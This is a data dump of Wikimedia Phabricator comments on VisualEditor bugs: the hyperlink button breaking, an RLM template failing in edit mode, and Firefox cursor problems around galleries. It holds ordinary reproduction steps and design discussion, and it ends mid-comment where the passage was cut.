These elements include - among others - images, templates, references and objects that cannot be edited in the visual editor yet. Unfortunately there seems to be no way restore the link buttons functionality without reloading the editor itself.",,,1374863634,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.0,2.0,2.0,4.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,8.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,5.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,1.0,20.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,2.0,0.0,9.0,3.0,5.0,3.0,2.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,1.0,1.0,1.0,0.0,0.0,4.6947368421052635,0.7578947368421053,"Addendum:
After some more testing it would seem that the link button will always break whenever the user selects an element that normally wouldn't be hyperlinked. If one does select a non linkable element and presses the hyperlink button the empty balloon popup will always occur.  

These elements include - among others - images, templates, references and objects that cannot be edited in the visual editor yet. Unfortunately there seems to be no way restore the link buttons functionality without reloading the editor itself."
254925,VisualEditor: Clicking the hyper link button twice breaks the button.,I was able to reproduce following the steps in comment 3.,,,1374704173,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.9166666666666665,1.0,I was able to reproduce following the steps in comment 3.
254918,VisualEditor: Clicking the hyper link button twice breaks the button.,"Chrome 28 - Error console

And last: A screenshot of chrome's console. It seems to be a tad more in depth than the error Firefox displays.

**Attached**: {F11891}",,,1374703953,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,20.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,10.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,3.341463414634146,0.8292682926829268,"Chrome 28 - Error console

And last: A screenshot of chrome's console. It seems to be a tad more in depth than the error Firefox displays.

**Attached**: {F11891}"
254911,VisualEditor: Clicking the hyper link button twice breaks the button.,"Yep, one pops up on step 3:

[23:46:29.770] Error: No class registered by that name: undefined @ https://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=monobook&version=20130724T164530Z&*:2

The above screenshot displays what occurs on the page. Also, a more specific set of steps that might help to reproduce this:

1) Edit the [[Portland Ice Arena (Oregon)]] page in the visual editor.
2) Place the cursor directly after reference [2]. 
3) Click the hyperlink button. It should create the regular hyperlink balloon as seen in the left side of the attached screenshot.
4) Click the 'Not to be confused with Portland Ice Arena (Maine).' template. This will cause the template to ""blank"" itself as seen in the right side of the screenshot. 
5) Click the 'Not to be confused with Portland Ice Arena (Maine).' template another time. This will cause the empty edit balloon to disappear. 
6) Try the edit link button anywhere in the page itself - it will no longer work (Not on existing links nor on new ones)

Note that it is not required to click the template - clicking elsewhere will work as well.",,,1374703277,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.3333333333333333,1.6666666666666667,3.6666666666666665,0.0,0.0,0.0,0.0,2.6666666666666665,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,5.333333333333333,9.333333333333334,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,12.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,6.666666666666667,1.3333333333333333,11.333333333333334,0.3333333333333333,0.3333333333333333,9.0,0.0,0.0,0.0,0.0,7.0,0.0,1.3333333333333333,0.0,2.0,9.333333333333334,5.0,0.0,2.3333333333333335,0.3333333333333333,2.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,1.0,0.6666666666666666,0.0,3.3333333333333335,3.588467088467089,0.6953601953601954,"Yep, one pops up on step 3:

[23:46:29.770] Error: No class registered by that name: undefined @ URL

The above screenshot displays what occurs on the page. Also, a more specific set of steps that might help to reproduce this:

1) Edit the [[Portland Ice Arena (Oregon)]] page in the visual editor.
2) Place the cursor directly after reference [2]. 
3) Click the hyperlink button. It should create the regular hyperlink balloon as seen in the left side of the attached screenshot.
4) Click the 'Not to be confused with Portland Ice Arena (Maine).' template. This will cause the template to ""blank"" itself as seen in the right side of the screenshot. 
5) Click the 'Not to be confused with Portland Ice Arena (Maine).' template another time. This will cause the empty edit balloon to disappear. 
6) Try the edit link button anywhere in the page itself - it will no longer work (Not on existing links nor on new ones)

Note that it is not required to click the template - clicking elsewhere will work as well."
254906,VisualEditor: Clicking the hyper link button twice breaks the button.,"Error screenshot.

**Attached**: {F11890}",,,1374702882,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7692307692307693,"Error screenshot.

**Attached**: {F11890}"
254902,VisualEditor: Clicking the hyper link button twice breaks the button.,I can't reproduce this. Do you see any errors in your JS console?,,,1374691632,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,False,,,3,,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,19.0,6.0,6.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,1.0,I can't reproduce this. Do you see any errors in your JS console?
53978,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"The Hebrew Wikipedia frequently uses the template {{כ}} ( https://he.wikipedia.orgw/wiki/Template:Rlm ), which inserts the &rlm; entity. This entity translates to an invisible zero-width control character, the [[right-to-left mark]]. This template works correctly when the article is rendered to the reader, but when the article is being edited in VE, the text behaves as if it's not there.

For reference, see https://en.wikipedia.org/wiki/Right-to-left_mark .

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://he.wikipedia.org/wiki/User:Amire80/ve-rlm",High,80.0,1374686820,1407753932.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-wfbovalkwufxdqplhata,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,2.5,1.0,2.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.5,9.0,2.5,1.5,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,5.5,3.0,0.0,0.0,0.0,1.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,1.5,3.508771929824561,0.6666666666666666,"The Hebrew Wikipedia frequently uses the template {{כ}} ( URL ), which inserts the &rlm; entity. This entity translates to an invisible zero-width control character, the [[right-to-left mark]]. This template works correctly when the article is rendered to the reader, but when the article is being edited in VE, the text behaves as if it's not there.

For reference, see URL .

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
254594,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"(In reply to Amir E. Aharoni from comment #6)
> At Wikimania Moriel, Roan and I found that the bug, as originally reported,
> appears to be fixed. I don't know when exactly did the fix happen.
> 
> Using the {{כ}} template works correctly while editing articles, and the
> original test page https://he.wikipedia.org/wiki/User:Amire80/ve-rlm shows
> everything correctly.

This would probably have been fixed by Ed's work on unwrapping generated content nodes.

> That said, there are issues with handling this template after it's inserted:
> * The bubble that shows its name appears in a wrong location.

Yeah, the context seems to find the nearest thing that actually displays and attaches to that. Probably the same issue as the below.

> * It's hard to know that it's there while editing in visual mode, because it
> is zero-width. Showing some kind of a flag there, as it's done with single
> line breaks, would be a nice idea.

That's bug 49806.

> Should I close this bug and open separate bugs for these issues?

Have done so. Yay.",,,1407753932,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,True,,,58,,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,25.0,0.0,1.0,8.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.5913978494623655,0.6021505376344086,"(In reply to Amir E. Aharoni from comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This would probably have been fixed by Ed's work on unwrapping generated content nodes.

QUOTE
QUOTE

Yeah, the context seems to find the nearest thing that actually displays and attaches to that. Probably the same issue as the below.

QUOTE
QUOTE
QUOTE

That's bug 49806.

QUOTE

Have done so. Yay."
254590,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"At Wikimania Moriel, Roan and I found that the bug, as originally reported, appears to be fixed. I don't know when exactly did the fix happen.

Using the {{כ}} template works correctly while editing articles, and the original test page https://he.wikipedia.org/wiki/User:Amire80/ve-rlm shows everything correctly.

That said, there are issues with handling this template after it's inserted:
* The bubble that shows its name appears in a wrong location.
* It's hard to know that it's there while editing in visual mode, because it is zero-width. Showing some kind of a flag there, as it's done with single line breaks, would be a nice idea.

Should I close this bug and open separate bugs for these issues?",,,1407753368,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,58,,0.5,0.5,0.0,0.5,0.5,4.5,0.5,0.5,0.0,0.0,2.5,0.5,0.0,0.0,0.5,1.5,0.0,5.0,10.0,0.5,1.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,7.0,3.5,4.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,1.0,12.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,1.0,0.5,0.0,0.0,0.0,0.5,0.5,4.5,2.5,8.0,3.5,1.5,7.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,5.5,10.0,2.5,0.5,0.0,0.0,5.5,0.0,1.0,2.0,0.0,3.0,0.0,0.0,0.0,3.7162162162162162,0.7972972972972974,"At Wikimania Moriel, Roan and I found that the bug, as originally reported, appears to be fixed. I don't know when exactly did the fix happen.

Using the {{כ}} template works correctly while editing articles, and the original test page URL shows everything correctly.

That said, there are issues with handling this template after it's inserted:
* The bubble that shows its name appears in a wrong location.
* It's hard to know that it's there while editing in visual mode, because it is zero-width. Showing some kind of a flag there, as it's done with single line breaks, would be a nice idea.

Should I close this bug and open separate bugs for these issues?"
254586,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"(In reply to comment #4)
> 2. Language definition to assign directionality rather than RLM is good
> approach, but it isn't possible to replace all the RLM uses:
> A. for normal users it is annoying to meet wiki-text editing HTML code of
> <span
> dir="""">...

That's why Moriel invested so much time in an easy graphical way to do it :)

It's still in the ""finishing touches"" stage.

The trouble is that while bidi isolation replaces most or all of the uses of RLM, it doesn't work in IE. Saw it coming? :)

In fact, IE 10 and 11 (!) even show some elements with bidi isolation very incorrectly. Test the following page:
https://en.wikipedia.org/wiki/User:Amire80/bidi-isolate

> Regarding the issue of ""invisible template"" which the VE users don't know it
> is
> there - I think it will be nice (and maybe there is already exist) to add
> ability to add text that appears only in VE editing mode [either with CSS
> which
> tells the content to display:none, and only in VE it appears, or with
> dedicated
> parser tag <onlyve>. This solution may be useful for other cases of
> ""invisible
> templates"".

I love this proposal.",,,1383831673,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,18,,2.0,0.0,1.0,0.0,1.0,3.0,0.5,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,7.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.5,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.5,18.5,1.5,1.5,5.5,0.0,1.5,1.0,0.5,2.5,0.0,2.0,0.0,3.5,7.0,13.0,1.0,1.0,0.0,3.5,0.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,3.2803030303030303,0.696969696969697,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's why Moriel invested so much time in an easy graphical way to do it :)

It's still in the ""finishing touches"" stage.

The trouble is that while bidi isolation replaces most or all of the uses of RLM, it doesn't work in IE. Saw it coming? :)

In fact, IE 10 and 11 (!) even show some elements with bidi isolation very incorrectly. Test the following page:
URL

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I love this proposal."
254583,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"1. I think that adding display:inline-block by the VE (to any transclusion node - and particularly to this template)  is a bug, We should consider either removing this css or changing it to inline instead of inline-block
2. Language definition to assign directionality rather than RLM is good approach, but it isn't possible to replace all the RLM uses:
A. for normal users it is annoying to meet wiki-text editing HTML code of <span dir="""">...
B. Sometimes specifying direction/language is overkill and the simple and best solution is to use RLM. 

Regarding the issue of ""invisible template"" which the VE users don't know it is there - I think it will be nice (and maybe there is already exist) to add ability to add text that appears only in VE editing mode [either with CSS which tells the content to display:none, and only in VE it appears, or with dedicated parser tag <onlyve>. This solution may be useful for other cases of ""invisible templates"".",,,1383679171,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,18,,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,5.0,2.6666666666666665,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,1.0,0.3333333333333333,4.333333333333333,9.0,0.3333333333333333,3.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,6.333333333333333,1.3333333333333333,2.3333333333333335,1.3333333333333333,0.0,1.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,11.333333333333334,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,1.0,0.0,1.0,0.0,2.3333333333333335,3.6666666666666665,6.666666666666667,0.3333333333333333,4.0,5.0,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,3.3333333333333335,9.0,4.333333333333333,0.0,2.3333333333333335,0.0,3.3333333333333335,0.0,1.3333333333333333,0.3333333333333333,0.0,2.0,0.0,0.3333333333333333,2.3333333333333335,3.7988267770876463,0.7799861973775016,"1. I think that adding display:inline-block by the VE (to any transclusion node - and particularly to this template)  is a bug, We should consider either removing this css or changing it to inline instead of inline-block
2. Language definition to assign directionality rather than RLM is good approach, but it isn't possible to replace all the RLM uses:
A. for normal users it is annoying to meet wiki-text editing HTML code of <span dir="""">...
B. Sometimes specifying direction/language is overkill and the simple and best solution is to use RLM. 

Regarding the issue of ""invisible template"" which the VE users don't know it is there - I think it will be nice (and maybe there is already exist) to add ability to add text that appears only in VE editing mode [either with CSS which tells the content to display:none, and only in VE it appears, or with dedicated parser tag <onlyve>. This solution may be useful for other cases of ""invisible templates""."
254578,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"This is a bit more complicated than removing a css definition.

As far as I understand this is what happens -- 

1. Parsoid recognizes {{כ}} as a template (expected) and sends it to VE as a transclusion object. 
2. VE treats it as transclusion object (as expected) --- but this means that-
3. The content of the transclusion/template is wrapped with transclusion node markup. This means that the RLM code is now wrapped with html markup, which effectively alienates it from the string it is supposed to affect.

In most other templates the above behavior is exactly what we want, so this template is an exception. We need to figure out a way to recognize these exceptional templates and then deal with them.

But there is another issue - this is going to be a design challenge, too. 

""RLM"" is an invisible character, so when we look at the article itself we have no indication that there is any special notation or character inside a sentence or a word. So, when we let users edit this in VisualEditor, we have to see how we can allow RLM to affect the word (so, it needs to not be encapsulated with html) *but* we also have to make sure a user can see it is there and, hopefully, interact with it.

We need to come up with creative ways on how to allow user interaction. 

What happens, for example, if a user removes the string the RLM was attached to without removing the RLM character itself? The user may not know about it if it is invisible, and it can cause problems in the edit and later edit in that sentence.


I think we might want to consider shifting from RLM templates, that provide directionality change in a string, to language annotations, that provide the same thing *plus* language definition. This is what we're moving towards anyways. It provides more information and it lets the user interact with the language definition. 

I understand that if we do it we will get dirty diffs, but I am not entirely sure how we can deal with RLM properly in the editor -- and is it not in any case preferable to use full-information language annotation instead of a limited-behavior RLM character?",,,1383676142,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,18,,0.4,0.0,0.2,1.0,0.8,3.6,1.0,0.0,0.0,0.6,2.8,0.2,0.0,0.0,0.4,3.8,0.0,5.6,11.6,0.0,2.4,0.0,0.0,0.0,0.2,0.0,0.0,0.6,1.2,0.2,0.0,8.8,2.8,3.2,0.4,0.0,0.0,0.2,0.2,0.6,0.2,0.2,0.4,3.4,0.0,0.2,0.0,0.0,0.4,10.2,1.6,1.0,0.0,0.6,0.0,0.0,0.0,0.0,1.0,0.0,0.2,0.4,0.2,0.6,0.0,0.0,0.2,6.2,3.8,6.0,2.2,3.2,9.2,0.0,0.0,0.0,0.0,4.8,0.0,0.2,0.0,7.2,11.6,3.2,0.4,0.4,0.0,7.2,0.0,2.4,2.8,0.6,1.0,0.4,0.2,1.0,3.8927091136079897,0.6929338327091136,"This is a bit more complicated than removing a css definition.

As far as I understand this is what happens -- 

1. Parsoid recognizes {{כ}} as a template (expected) and sends it to VE as a transclusion object. 
2. VE treats it as transclusion object (as expected) --- but this means that-
3. The content of the transclusion/template is wrapped with transclusion node markup. This means that the RLM code is now wrapped with html markup, which effectively alienates it from the string it is supposed to affect.

In most other templates the above behavior is exactly what we want, so this template is an exception. We need to figure out a way to recognize these exceptional templates and then deal with them.

But there is another issue - this is going to be a design challenge, too. 

""RLM"" is an invisible character, so when we look at the article itself we have no indication that there is any special notation or character inside a sentence or a word. So, when we let users edit this in VisualEditor, we have to see how we can allow RLM to affect the word (so, it needs to not be encapsulated with html) *but* we also have to make sure a user can see it is there and, hopefully, interact with it.

We need to come up with creative ways on how to allow user interaction. 

What happens, for example, if a user removes the string the RLM was attached to without removing the RLM character itself? The user may not know about it if it is invisible, and it can cause problems in the edit and later edit in that sentence.


I think we might want to consider shifting from RLM templates, that provide directionality change in a string, to language annotations, that provide the same thing *plus* language definition. This is what we're moving towards anyways. It provides more information and it lets the user interact with the language definition. 

I understand that if we do it we will get dirty diffs, but I am not entirely sure how we can deal with RLM properly in the editor -- and is it not in any case preferable to use full-information language annotation instead of a limited-behavior RLM character?"
254573,VisualEditor: A template with the RLM control character doesn't work when editing in VE,"Hint: when disabling inline-block display for the template 
(e.g removing:
.ve-ce-mwTransclusionInlineNode {
    display: inline-block;
}
)
it behaves properly.",,,1383642046,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.769230769230769,0.6923076923076923,"Hint: when disabling inline-block display for the template 
(e.g removing:
.ve-ce-mwTransclusionInlineNode {
    display: inline-block;
}
)
it behaves properly."
254567,VisualEditor: A template with the RLM control character doesn't work when editing in VE,See https://he.wikipedia.org/wiki/User:Amire80/ve-rlm for a demostration.,,,1374686999,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-wfbovalkwufxdqplhata,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,See URL for a demostration.
53957,"VisualEditor: Firefox allows cursor to get into illegal position around wide objects (<gallery>, <references>, etc), leading to corruption, and prevents down arrow button navigation","1. https://en.wikipedia.org/wiki/User:Raymond/Gallery?veaction=edit
2. Put the cursor after the first ':'
3. Press the down arrow - cursor should now be far right of window, beside the gallery
4. Type 'a'
5. Press Control-Z

Results vary.

1. Sometimes two characters will appear: 'A' <new line> 'a', and 'Save page' is enabled.  Control-Z removes only one of them, and the 'Save page' button returns to disabled, with one added character still on the screen.

2. Sometimes a pawn appears.

3. Sometimes only one character appears, and the 'Save page' button remains disabled.

On the gallery at the bottom of https://de.wikipedia.org/wiki/Hollenegg?veaction=edit , option (3) happens most often.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53750
https://bugzilla.wikimedia.org/show_bug.cgi?id=56248",High,80.0,1374664140,1399418661.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-zc6v32lm5ytpux3undwt,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.5,0.0,4.0,0.5,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,6.0,5.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,3.5,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,1.0,13.0,0.0,1.5,6.5,0.0,0.0,0.0,0.0,3.5,0.0,3.5,0.0,0.5,5.0,3.5,0.0,7.0,0.0,0.5,0.0,0.0,2.0,0.5,0.0,0.0,0.5,4.5,3.139784946236559,0.564516129032258,"1. URL
2. Put the cursor after the first ':'
3. Press the down arrow - cursor should now be far right of window, beside the gallery
4. Type 'a'
5. Press Control-Z

Results vary.

1. Sometimes two characters will appear: 'A' <new line> 'a', and 'Save page' is enabled.  Control-Z removes only one of them, and the 'Save page' button returns to disabled, with one added character still on the screen.

2. Sometimes a pawn appears.

3. Sometimes only one character appears, and the 'Save page' button remains disabled.

On the gallery at the bottom of URL , option (3) happens most often.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
253605,"VisualEditor: Firefox allows cursor to get into illegal position around wide objects (<gallery>, <references>, etc), leading to corruption, and prevents down arrow button navigation","I believe that this is now fixed, after the Firefox CE re-write, though I could be wrong – please re-open if so.",,,1399418661,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zc6v32lm5ytpux3undwt,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,13.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,7.0,20.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.8666666666666667,"I believe that this is now fixed, after the Firefox CE re-write, though I could be wrong – please re-open if so."
253601,"VisualEditor: Firefox allows cursor to get into illegal position around wide objects (<gallery>, <references>, etc), leading to corruption, and prevents down arrow button navigation","In addition to <gallery>, and corruption, a less significant problem is that the down cursor becomes stuck at any block that consumes the entire page with (such as the references block or navbars); pressing the down arrow on the keyboard does not move the cursor to the next item underneath the block.

Steps to reproduce:
1. Load any page in VE with a references block and something underneath it. e.g.
